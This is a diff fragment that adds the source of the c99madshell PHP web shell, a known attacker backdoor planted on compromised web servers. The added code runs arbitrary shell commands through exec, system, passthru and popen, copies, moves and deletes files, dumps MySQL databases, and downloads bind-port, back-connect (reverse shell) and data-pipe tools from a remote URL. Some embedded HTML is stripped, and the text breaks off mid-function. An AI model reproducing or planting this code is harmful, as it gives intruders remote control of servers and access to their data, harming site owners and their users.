+foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
+$s = "!^(".implode("|",$tmp).")$!i";
+if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("c99madshell : Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
+if (!empty($login))
+{
+ if (empty($md5_pass)) {$md5_pass = md5($pass);}
+ if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
+ {
+ if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace(" | "," ",$donated_html));}
+ header("WWW-Authenticate: Basic realm=\"".$login_txt."\"");
+ header("HTTP/1.0 401 Unauthorized");
+ exit($accessdeniedmess);
+ }
+}
+
+if (isset($_POST['act'])) $act = $_POST['act'];
+if (isset($_POST['d'])) $d = urldecode($_POST['d']);
+if (isset($_POST['sort'])) $sort = $_POST['sort'];
+if (isset($_POST['f'])) $f = $_POST['f'];
+if (isset($_POST['ft'])) $ft = $_POST['ft'];
+if (isset($_POST['grep'])) $grep = $_POST['grep'];
+if (isset($_POST['processes_sort'])) $processes_sort = $_POST['processes_sort'];
+if (isset($_POST['pid'])) $pid = $_POST['pid'];
+if (isset($_POST['sig'])) $sig = $_POST['sig'];
+if (isset($_POST['base64'])) $base64 = $_POST['base64'];
+if (isset($_POST['fullhexdump'])) $fullhexdump = $_POST['fullhexdump'];
+if (isset($_POST['c'])) $c = $_POST['c'];
+if (isset($_POST['white'])) $white = $_POST['white'];
+if (isset($_POST['nixpasswd'])) $nixpasswd = $_POST['nixpasswd'];
+
+$lastdir = realpath(".");
+chdir($curdir);
+$sess_data = unserialize($_COOKIE["$sess_cookie"]);
+if (!is_array($sess_data)) {$sess_data = array();}
+if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
+if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
+
+$disablefunc = @ini_get("disable_functions");
+if (!empty($disablefunc))
+{
+ $disablefunc = str_replace(" ","",$disablefunc);
+ $disablefunc = explode(",",$disablefunc);
+}
+
+if (!function_exists("c99_buff_prepare"))
+{
+function c99_buff_prepare()
+{
+ global $sess_data;
+ global $act;
+ foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
+ $sess_data["copy"] = array_unique($sess_data["copy"]);
+ $sess_data["cut"] = array_unique($sess_data["cut"]);
+ sort($sess_data["copy"]);
+ sort($sess_data["cut"]);
+ if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
+ else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
+}
+}
+c99_buff_prepare();
+if (!function_exists("c99_sess_put"))
+{
+function c99_sess_put($data)
+{
+ global $sess_cookie;
+ global $sess_data;
+ c99_buff_prepare();
+ $sess_data = $data;
+ $data = serialize($data);
+ setcookie($sess_cookie,$data);
+}
+}
+foreach (array("sort","sql_sort") as $v)
+{
+ if (!empty($_POST[$v])) {$$v = $_POST[$v];}
+}
+if ($sort_save)
+{
+ if (!empty($sort)) {setcookie("sort",$sort);}
+ if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
+}
+if (!function_exists("str2mini"))
+{
+function str2mini($content,$len)
+{
+ if (strlen($content) > $len)
+ {
+ $len = ceil($len/2) - 2;
+ return substr($content, 0,$len)."...".substr($content,-$len);
+ }
+ else {return $content;}
+}
+}
+if (!function_exists("view_size"))
+{
+function view_size($size)
+{
+ if (!is_numeric($size)) {return FALSE;}
+ else
+ {
+ if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
+ elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
+ elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
+ else {$size = $size . " B";}
+ return $size;
+ }
+}
+}
+if (!function_exists("fs_copy_dir"))
+{
+function fs_copy_dir($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_copy_obj"))
+{
+function fs_copy_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (!is_dir(dirname($t))) {mkdir(dirname($t));}
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_copy_dir($d,$t);
+ }
+ elseif (is_file($d)) {return copy($d,$t);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_move_dir"))
+{
+function fs_move_dir($d,$t)
+{
+ $h = opendir($d);
+ if (!is_dir($t)) {mkdir($t);}
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ $ret = TRUE;
+ if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
+ else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = FALSE;}}
+ if (!$ret) {return $ret;}
+ }
+ }
+ closedir($h);
+ return TRUE;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
+ $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
+ if (is_dir($d))
+ {
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ if (substr($t,-1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d))
+ {
+ if(copy($d,$t)) {return unlink($d);}
+ else {unlink($t); return FALSE;}
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while (($o = readdir($h)) !== FALSE)
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+ if (!is_dir($d.$o)) {unlink($d.$o);}
+ else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
+ if (is_dir($o))
+ {
+ if (substr($o,-1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+function myshellexec($cmd)
+{
+ global $disablefunc;
+ $result = "";
+ if (!empty($cmd))
+ {
+ if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
+ elseif (($result = `$cmd`) !== FALSE) {}
+ elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
+ elseif (is_resource($fp = popen($cmd,"r")))
+ {
+ $result = "";
+ while(!feof($fp)) {$result .= fread($fp,1024);}
+ pclose($fp);
+ }
+ }
+ return $result;
+}
+}
+if (!function_exists("tabsort")) {function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner["read"] = ($mode & 00400)?"r":"-";
+ $owner["write"] = ($mode & 00200)?"w":"-";
+ $owner["execute"] = ($mode & 00100)?"x":"-";
+ $group["read"] = ($mode & 00040)?"r":"-";
+ $group["write"] = ($mode & 00020)?"w":"-";
+ $group["execute"] = ($mode & 00010)?"x":"-";
+ $world["read"] = ($mode & 00004)?"r":"-";
+ $world["write"] = ($mode & 00002)? "w":"-";
+ $world["execute"] = ($mode & 00001)?"x":"-";
+
+ if ($mode & 0x800) {$owner["execute"] = ($owner["execute"] == "x")?"s":"S";}
+ if ($mode & 0x400) {$group["execute"] = ($group["execute"] == "x")?"s":"S";}
+ if ($mode & 0x200) {$world["execute"] = ($world["execute"] == "x")?"t":"T";}
+
+ return $type.join("",$owner).join("",$group).join("",$world);
+}
+}
+if (!function_exists("posix_getpwuid") and !in_array("posix_getpwuid",$disablefunc)) {function posix_getpwuid($uid) {return FALSE;}}
+if (!function_exists("posix_getgrgid") and !in_array("posix_getgrgid",$disablefunc)) {function posix_getgrgid($gid) {return FALSE;}}
+if (!function_exists("posix_kill") and !in_array("posix_kill",$disablefunc)) {function posix_kill($gid) {return FALSE;}}
+if (!function_exists("parse_perms"))
+{
+function parse_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$t = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
+ else {$t = "?";}
+ $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
+ $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
+ $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
+ return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
+}
+}
+if (!function_exists("parsesort"))
+{
+function parsesort($sort)
+{
+ $one = intval($sort);
+ $second = substr($sort,-1);
+ if ($second != "d") {$second = "a";}
+ return array($one,$second);
+}
+}
+if (!function_exists("view_perms_color"))
+{
+function view_perms_color($o)
+{
+ if (!is_readable($o)) {return "".view_perms(fileperms($o))." ";}
+ elseif (!is_writable($o)) {return "".view_perms(fileperms($o))." ";}
+ else {return "".view_perms(fileperms($o))." ";}
+}
+}
+if (!function_exists("c99getsource"))
+{
+function c99getsource($fn)
+{
+ global $c99sh_sourcesurl;
+ $array = array(
+ "c99sh_bindport.pl" => "c99sh_bindport_pl.txt",
+ "c99sh_bindport.c" => "c99sh_bindport_c.txt",
+ "c99sh_backconn.pl" => "c99sh_backconn_pl.txt",
+ "c99sh_backconn.c" => "c99sh_backconn_c.txt",
+ "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt",
+ "c99sh_datapipe.c" => "c99sh_datapipe_c.txt",
+ );
+ $name = $array[$fn];
+ if ($name) {return file_get_contents($c99sh_sourcesurl.$name);}
+ else {return FALSE;}
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ global $shver;
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ $ret["err"] = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = 0;}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (empty($file))
+ {
+ $file = $tmpdir."dump_".getenv("SERVER_NAME")."_".$db."_".date("d-m-Y-H-i-s").".sql";
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = TRUE;}
+ if (sizeof($tabs) == 0)
+ {
+ // retrive tables-list
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ $out = "# Dumped by C99madShell.SQL v. ".$shver."
+# Home page: http://securityprobe.net
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".getenv("SERVER_ADDR")." (".getenv("SERVER_NAME").")"."
+# Date: ".date("d.m.Y H:i:s")."
+# DB: \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+ if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+ // recieve query for create table structure
+ $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+ if (!$res) {$ret["err"][] = mysql_smarterror();}
+ else
+ {
+ $row = mysql_fetch_row($res);
+ $out .= $row["1"].";\n\n";
+ // recieve table variables
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+ $keys = implode("`, `", array_keys($row));
+ $values = array_values($row);
+ foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+ $values = implode("', '", $values);
+ $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+ $out .= $sql;
+ }
+ }
+ }
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret["err"][] = 2;}
+ else
+ {
+ fwrite ($fp, $out);
+ fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $out;
+}
+}
+if (!function_exists("mysql_buildwhere"))
+{
+function mysql_buildwhere($array,$sep=" and",$functs=array())
+{
+ if (!is_array($array)) {$array = array();}
+ $result = "";
+ foreach($array as $k=>$v)
+ {
+ $value = "";
+ if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
+ $value .= "'".addslashes($v)."'";
+ if (!empty($functs[$k])) {$value .= ")";}
+ $result .= "`".$k."` = ".$value.$sep;
+ }
+ $result = substr($result,0,strlen($result)-strlen($sep));
+ return $result;
+}
+}
+if (!function_exists("mysql_fetch_all"))
+{
+function mysql_fetch_all($query,$sock)
+{
+ if ($sock) {$result = mysql_query($query,$sock);}
+ else {$result = mysql_query($query);}
+ $array = array();
+ while ($row = mysql_fetch_array($result)) {$array[] = $row;}
+ mysql_free_result($result);
+ return $array;
+}
+}
+if (!function_exists("mysql_smarterror"))
+{
+function mysql_smarterror($type,$sock)
+{
+ if ($sock) {$error = mysql_error($sock);}
+ else {$error = mysql_error();}
+ $error = htmlspecialchars($error);
+ return $error;
+}
+}
+if (!function_exists("mysql_query_form"))
+{
+function mysql_query_form()
+{
+ global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
+ $sql_query = urldecode($sql_query);
+ if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act))
+ {
+ echo "";
+ }
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
+}
+}
+if (!function_exists("mysql_create_db"))
+{
+function mysql_create_db($db,$sock="")
+{
+ $sql = "CREATE DATABASE `".addslashes($db)."`;";
+ if ($sock) {return mysql_query($sql,$sock);}
+ else {return mysql_query($sql);}
+}
+}
+if (!function_exists("mysql_query_parse"))
+{
+function mysql_query_parse($query)
+{
+ $query = trim($query);
+ $arr = explode (" ",$query);
+ /*array array()
+ {
+ "METHOD"=>array(output_type),
+ "METHOD1"...
+ ...
+ }
+ if output_type == 0, no output,
+ if output_type == 1, no output if no error
+ if output_type == 2, output without control-buttons
+ if output_type == 3, output with control-buttons
+ */
+ $types = array(
+ "SELECT"=>array(3,1),
+ "SHOW"=>array(2,1),
+ "DELETE"=>array(1),
+ "DROP"=>array(1)
+ );
+ $result = array();
+ $op = strtoupper($arr[0]);
+ if (is_array($types[$op]))
+ {
+ $result["propertions"] = $types[$op];
+ $result["query"] = $query;
+ if ($types[$op] == 2)
+ {
+ foreach($arr as $k=>$v)
+ {
+ if (strtoupper($v) == "LIMIT")
+ {
+ $result["limit"] = $arr[$k+1];
+ $result["limit"] = explode(",",$result["limit"]);
+ if (count($result["limit"]) == 1) {$result["limit"] = array(0,$result["limit"][0]);}
+ unset($arr[$k],$arr[$k+1]);
+ }
+ }
+ }
+ }
+ else {return FALSE;}
+}
+}
+if (!function_exists("c99fsearch"))
+{
+function c99fsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $search_i_f;
+ global $search_i_d;
+ global $a;
+ if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
+ $h = opendir($d);
+ while (($f = readdir($h)) !== FALSE)
+ {
+ if($f != "." && $f != "..")
+ {
+ $bool = (empty($a["name_regexp"]) and strpos($f,$a["name"]) !== FALSE) || ($a["name_regexp"] and ereg($a["name"],$f));
+ if (is_dir($d.$f))
+ {
+ $search_i_d++;
+ if (empty($a["text"]) and $bool) {$found[] = $d.$f; $found_d++;}
+ if (!is_link($d.$f)) {c99fsearch($d.$f);}
+ }
+ else
+ {
+ $search_i_f++;
+ if ($bool)
+ {
+ if (!empty($a["text"]))
+ {
+ $r = @file_get_contents($d.$f);
+ if ($a["text_wwo"]) {$a["text"] = " ".trim($a["text"])." ";}
+ if (!$a["text_cs"]) {$a["text"] = strtolower($a["text"]); $r = strtolower($r);}
+ if ($a["text_regexp"]) {$bool = ereg($a["text"],$r);}
+ else {$bool = strpos(" ".$r,$a["text"],1);}
+ if ($a["text_not"]) {$bool = !$bool;}
+ if ($bool) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+ }
+ }
+ }
+ closedir($h);
+}
+}
+if ($act == "gofile") {if (is_dir($f)) {$act = "ls"; $d = $f;} else {$act = "f"; $d = dirname($f); $f = basename($f);}}
+//Sending headers
+@ob_start();
+@ob_implicit_flush(0);
+function onphpshutdown()
+{
+ global $gzipencode,$ft;
+ if (!headers_sent() and $gzipencode and !in_array($ft,array("img","download","notepad")))
+ {
+ $v = @ob_get_contents();
+ @ob_end_clean();
+ @ob_start("ob_gzHandler");
+ echo $v;
+ @ob_end_flush();
+ }
+}
+function c99shexit()
+{
+ onphpshutdown();
+ exit;
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", FALSE);
+header("Pragma: no-cache");
+if (empty($tmpdir))
+{
+ $tmpdir = ini_get("upload_tmp_dir");
+ if (is_dir($tmpdir)) {$tmpdir = "/tmp/";}
+}
+$tmpdir = realpath($tmpdir);
+$tmpdir = str_replace("\\",DIRECTORY_SEPARATOR,$tmpdir);
+if (substr($tmpdir,-1) != DIRECTORY_SEPARATOR) {$tmpdir .= DIRECTORY_SEPARATOR;}
+if (empty($tmpdir_logs)) {$tmpdir_logs = $tmpdir;}
+else {$tmpdir_logs = realpath($tmpdir_logs);}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = TRUE;
+ $hsafemode = "ON (secure) ";
+}
+else {$safemode = FALSE; $hsafemode = "OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on") {$openbasedir = TRUE; $hopenbasedir = "".$v." ";}
+else {$openbasedir = FALSE; $hopenbasedir = "OFF (not secure) ";}
+$sort = htmlspecialchars($sort);
+if (empty($sort)) {$sort = $sort_default;}
+$sort[1] = strtolower($sort[1]);
+$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
+if (!ereg("PHP/".phpversion(),$DISP_SERVER_SOFTWARE)) {$DISP_SERVER_SOFTWARE .= ". PHP/".phpversion();}
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"PHP/".phpversion()." ",htmlspecialchars($DISP_SERVER_SOFTWARE));
+@ini_set("highlight.bg",$highlight_bg); //FFFFFF
+@ini_set("highlight.comment",$highlight_comment); //#FF8000
+@ini_set("highlight.default",$highlight_default); //#0000BB
+@ini_set("highlight.html",$highlight_html); //#000000
+@ini_set("highlight.keyword",$highlight_keyword); //#007700
+@ini_set("highlight.string",$highlight_string); //#DD0000
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?> - c99madshell ! C99madShell v. !
Software:
uname -a: ",1); ?>
",1);} else {echo get_current_user();} ?>
Safe-mode:
".htmlspecialchars($b).DIRECTORY_SEPARATOR." ";
+ $i++;
+}
+echo " ";
+if (is_writable($d))
+{
+ $wd = TRUE;
+ $wdt = "[ ok ] ";
+ echo "".view_perms(fileperms($d))." ";
+}
+else
+{
+ $wd = FALSE;
+ $wdt = "[ Read-Only ] ";
+ echo "".view_perms_color($d)." ";
+}
+if (is_callable("disk_free_space"))
+{
+ $free = disk_free_space($d);
+ $total = disk_total_space($d);
+ if ($free === FALSE) {$free = 0;}
+ if ($total === FALSE) {$total = 0;}
+ if ($free < 0) {$free = 0;}
+ if ($total < 0) {$total = 0;}
+ $used = $total-$free;
+ $free_percent = round(100/($total/$free),2);
+ echo "Free ".view_size($free)." of ".view_size($total)." (".$free_percent."%) ";
+}
+echo " ";
+$letters = "";
+if ($win)
+{
+ $v = explode("\\",$d);
+ $v = $v[0];
+ foreach (range("a","z") as $letter)
+ {
+ $bool = $isdiskette = in_array($letter,$safemode_diskettes);
+ if (!$bool) {$bool = is_dir($letter.":\\");}
+ if ($bool)
+ {
+ $letters .= "[ ";
+ if ($letter.":" != $v) {$letters .= $letter;}
+ else {$letters .= "".$letter." ";}
+ $letters .= " ] ";
+ }
+ }
+ if (!empty($letters)) {echo "Detected drives : ".$letters." ";}
+}
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%sort",$sort,$item[1]);
+ $v = realpath($d."..");
+ if (empty($v)) {$a = explode(DIRECTORY_SEPARATOR,$d); unset($a[count($a)-2]); $v = join(DIRECTORY_SEPARATOR,$a);}
+ $item[1] = str_replace("%upd",urlencode($v),$item[1]);
+
+ echo "".$item[0]." ";
+ }
+}
+echo "
";
+if ((!empty($donated_html)) and (in_array($act,$donated_act))) {echo " ";}
+echo "";
+if ($act == "") {$act = $dspact = "ls";}
+if ($act == "sql")
+{
+ echo(" ");
+
+ if (isset($_POST['sql_login'])) {$sql_login=htmlspecialchars($_POST['sql_login']);}
+ if (isset($_POST['sql_passwd'])) {$sql_passwd=htmlspecialchars($_POST['sql_passwd']);}
+ if (isset($_POST['sql_server'])) {$sql_server=htmlspecialchars($_POST['sql_server']);}
+ if (isset($_POST['sql_port'])) {$sql_port=htmlspecialchars($_POST['sql_port']);}
+ if (isset($_POST['sql_db'])) {$sql_db=htmlspecialchars($_POST['sql_db']);}
+ if (isset($_POST['sql_act'])) {$sql_act=htmlspecialchars($_POST['sql_act']);}
+ if (isset($_POST['sql_tbl'])) {$sql_tbl=htmlspecialchars($_POST['sql_tbl']);}
+ if (isset($_POST['sql_tbl_act'])) {$sql_tbl_act=htmlspecialchars($_POST['sql_tbl_act']);}
+ if (isset($_POST['thistbl'])) {$thistbl=htmlspecialchars($_POST['thistbl']);}
+ if (isset($_POST['sql_order'])) {$sql_order=htmlspecialchars($_POST['sql_order']);}
+ if (isset($_POST['sql_tbl_ls'])) {$sql_tbl_ls=htmlspecialchars($_POST['sql_tbl_ls']);}
+ if (isset($_POST['sql_tbl_le'])) {$sql_tbl_le=htmlspecialchars($_POST['sql_tbl_le']);}
+ if (isset($_POST['sql_query'])) {$sql_query=htmlspecialchars($_POST['sql_query']);}
+ if (isset($_POST['sql_tbl_insert_q'])) {$sql_tbl_insert_q=urldecode(htmlspecialchars($_POST['sql_tbl_insert_q']));}
+ if (isset($_POST['sql_tbl_insert_functs'])) {$sql_tbl_insert_functs=htmlspecialchars($_POST['sql_tbl_insert_functs']);}
+ if (isset($_POST['sql_tbl_insert_radio'])) {$sql_tbl_insert_radio=htmlspecialchars($_POST['sql_tbl_insert_radio']);}
+
+
+
+ ?>SQL Manager: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "NO CONNECTION";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();");
+ $sqlquicklaunch[] = array("Query","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_act.value='query';document.sql.sql_db.value='".urlencode($sql_db)."';document.sql.sql_tbl.value='".urlencode($sql_tbl)."';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.submit();");
+ $sqlquicklaunch[] = array("Server-status","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='serverstatus';document.sql.submit();");
+ $sqlquicklaunch[] = array("Server variables","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='servervars';document.sql.submit();");
+ $sqlquicklaunch[] = array("Processes","#\" onclick=\"document.sql.act.value='sql';document.sql.sql_login.value='".htmlspecialchars($sql_login)."';document.sql.sql_passwd.value='".htmlspecialchars($sql_passwd)."';document.sql.sql_server.value='".htmlspecialchars($sql_server)."';document.sql.sql_port.value='".htmlspecialchars($sql_port)."';document.sql.sql_act.value='processes';document.sql.submit();");
+ $sqlquicklaunch[] = array("Logout","#\" onclick=\"document.sql.act.value='sql';document.sql.submit();");
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?> i If login is null, login is owner of process. If host is null, host is localhost If port is null, port is 3306 (default) Please, fill the form: Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].") "; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+ }
+ }
+ else
+ {
+ ?>Home ".$row[0].""; $c++;}
+ echo "Databases (".$c.") ";
+ echo $dbs;
+ }
+ ?> Please, select database";
+ //Start center panel
+ $diplay = TRUE;
+ if ($sql_db)
+ {
+ if (!is_numeric($c)) {$c = 0;}
+ if ($c == 0) {$c = "no";}
